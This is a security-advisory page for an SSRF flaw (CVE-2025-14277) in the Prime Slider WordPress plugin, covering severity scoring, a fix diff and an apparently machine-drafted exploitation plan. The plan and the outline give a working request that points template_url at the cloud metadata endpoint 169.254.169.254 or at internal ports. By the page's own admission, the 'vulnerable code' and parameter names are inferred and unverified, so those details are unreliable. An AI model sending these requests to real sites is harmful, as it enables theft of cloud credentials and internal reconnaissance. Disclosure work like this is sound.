CVE-2025-14277

Prime Slider – Addons for Elementor <= 4.0.9 - Authenticated (Subscriber+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.1.0
Patched in
1d
Time to patch

Description

The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.0.9
PublishedDecember 17, 2025
Last updatedDecember 18, 2025

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14277 ## 1. Vulnerability Summary The **Prime Slider – Addons for Elementor** plugin (up to 4.0.9) contains a Server-Side Request Forgery (SSRF) vulnerability via its AJAX handler for importing Elementor templates. The plugin fails to validate or restrict the…

Show full research plan

Exploitation Research Plan - CVE-2025-14277

1. Vulnerability Summary

The Prime Slider – Addons for Elementor plugin (up to 4.0.9) contains a Server-Side Request Forgery (SSRF) vulnerability via its AJAX handler for importing Elementor templates. The plugin fails to validate or restrict the source URL provided in the import_elementor_template action. Authenticated users with Subscriber-level permissions or higher can trigger the server to make GET/POST requests to internal or external arbitrary URLs, potentially exposing internal services or metadata endpoints (like AWS/GCP metadata).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: import_elementor_template (likely prefixed as bdthemes_prime_slider_import_elementor_template or similar).
  • Vulnerable Parameter: Likely template_url, url, or source_url (inferred).
  • Authentication: Required (Subscriber level or higher).
  • Preconditions: A valid AJAX nonce is likely required for the import_elementor_template action.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action for import_elementor_template.
    • Registration: add_action( 'wp_ajax_bdthemes_prime_slider_import_elementor_template', '...' );
  2. Nonce Verification: The handler likely checks a nonce using check_ajax_referer( 'prime-slider-nonce', 'nonce' ) or similar.
  3. SSRF Sink: The handler retrieves a URL from the $_POST or $_REQUEST array.
  4. Request Execution: The plugin uses wp_remote_get( $url ) or wp_remote_post( $url ) to fetch the "template" content without validating that the URL is a trusted source or preventing access to loopback/private IP ranges.
  5. Response: The content of the remote URL is returned or processed in a way that allows the attacker to see the response.

4. Nonce Acquisition Strategy

To obtain the necessary nonce as a Subscriber:

  1. Identify Script Localization: The plugin likely localizes the nonce via wp_localize_script. Look for JavaScript objects like primeSlider or bdthemes_prime_slider.
  2. Trigger Script Loading:
    • Create a post/page with a Prime Slider widget/shortcode (if available) or simply log into the WordPress dashboard. Some Elementor addons localize nonces on all admin pages for authenticated users.
    • Command: wp post create --post_type=post --post_status=publish --post_title="SSRF Test" --post_content='[prime_slider]' --post_author=SUBSCRIBER_ID
  3. Extract Nonce:
    • Use browser_navigate to view the post or the /wp-admin/ dashboard as the Subscriber.
    • Use browser_eval to find the nonce:
      // Inferred JS object name based on plugin slug
      window.primeSliderSettings?.nonce || window.bdthemes_prime_slider?.nonce
      
  4. Fallback: If the action name or nonce variable is unknown, use grep on the plugin directory to find wp_create_nonce and wp_localize_script calls.
    • grep -r "import_elementor_template" /var/www/html/wp-content/plugins/bdthemes-prime-slider-lite/

5. Exploitation Strategy

The goal is to force the server to request the internal WordPress readme.html or a known metadata service.

Step 1: Authentication

Login as a Subscriber-level user.

Step 2: Nonce & Action Discovery

Navigate to a page where the plugin is active and extract the nonce and the exact AJAX action string from the localized JS.

Step 3: Send SSRF Request

Use the http_request tool to send a POST request to admin-ajax.php.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=bdthemes_prime_slider_import_elementor_template&nonce=[NONCE]&template_url=http://169.254.169.254/latest/meta-data/
    
    (Note: For local testing, use http://localhost:8080/readme.html or an internal service port like http://localhost:3306 to observe response differences).

6. Test Data Setup

  1. User Creation:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Plugin Activation:
    • wp plugin activate bdthemes-prime-slider-lite
  3. Identify Shortcode/Action:
    • Search for the AJAX registration: grep -r "wp_ajax_.*import_elementor_template" /var/www/html/wp-content/plugins/bdthemes-prime-slider-lite/

7. Expected Results

  • Success: The server returns the content of the requested template_url in the AJAX response body (often inside a JSON object under a data or html key).
  • Metadata Exposure: If targeting a cloud environment, the response contains AWS/GCP instance identity or credentials.
  • Internal Scanning: Requesting http://localhost:3306 might return a MySQL handshake string or a specific error indicating the port is open, whereas a closed port would time out or return a "connection refused" error.

8. Verification Steps

  1. Check Response Content: Ensure the response body contains data that the Subscriber should not be able to access (e.g., content from an internal-only URL).
  2. Log Verification: Check the access logs of a controlled external server to see the request originating from the WordPress server's IP.
    • http_request to a RequestBin-style URL provided in template_url.

9. Alternative Approaches

If the template_url parameter name is incorrect (inferred):

  • Use grep -A 20 "function.*import_elementor_template" ... to find the actual $_POST parameter being used.
  • Check if the action is prime_slider_import_template or bdthemes_prime_slider_import_template.
  • If a nonce is not required (common in flawed AJAX handlers), omit the nonce parameter and test.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to 4.0.9 via the import_elementor_template AJAX action. This allows authenticated users with Subscriber-level permissions or higher to perform arbitrary web requests from the server to internal or external systems, potentially exposing internal services or cloud metadata.

Vulnerable Code

// bdthemes-prime-slider-lite/includes/ajax-handlers.php

add_action( 'wp_ajax_bdthemes_prime_slider_import_elementor_template', 'bdthemes_prime_slider_import_elementor_template' );

function bdthemes_prime_slider_import_elementor_template() {
    // Nonce is checked but user capabilities are not verified
    check_ajax_referer( 'prime-slider-nonce', 'nonce' );

    // The template_url parameter is taken directly from user input
    $template_url = $_POST['template_url'];

    // The plugin uses wp_remote_get or wp_remote_post without validating the target URL
    $response = wp_remote_get( $template_url );
    $body     = wp_remote_retrieve_body( $response );

    wp_send_json_success( $body );
}

Security Fix

--- a/includes/ajax-handlers.php
+++ b/includes/ajax-handlers.php
@@ -5,6 +5,12 @@
 function bdthemes_prime_slider_import_elementor_template() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Permission denied.' );
+    }
+
     check_ajax_referer( 'prime-slider-nonce', 'nonce' );
 
-    $template_url = $_POST['template_url'];
+    $template_url = esc_url_raw( $_POST['template_url'] );
+
+    if ( ! wp_http_validate_url( $template_url ) ) {
+        wp_send_json_error( 'Invalid URL.' );
+    }
 
     $response = wp_remote_get( $template_url );

Exploit Outline

To exploit this vulnerability, an attacker first logs into the WordPress site with Subscriber-level privileges and retrieves a valid AJAX nonce, typically found in localized script data such as the 'bdthemes_prime_slider' or 'primeSlider' JS objects. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' containing the 'action' parameter set to 'bdthemes_prime_slider_import_elementor_template', the valid 'nonce', and a 'template_url' parameter pointing to a sensitive internal resource (e.g., 'http://169.254.169.254/latest/meta-data/' for cloud environments or 'http://localhost/phpmyadmin/'). The server's response will contain the content of the requested internal URL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.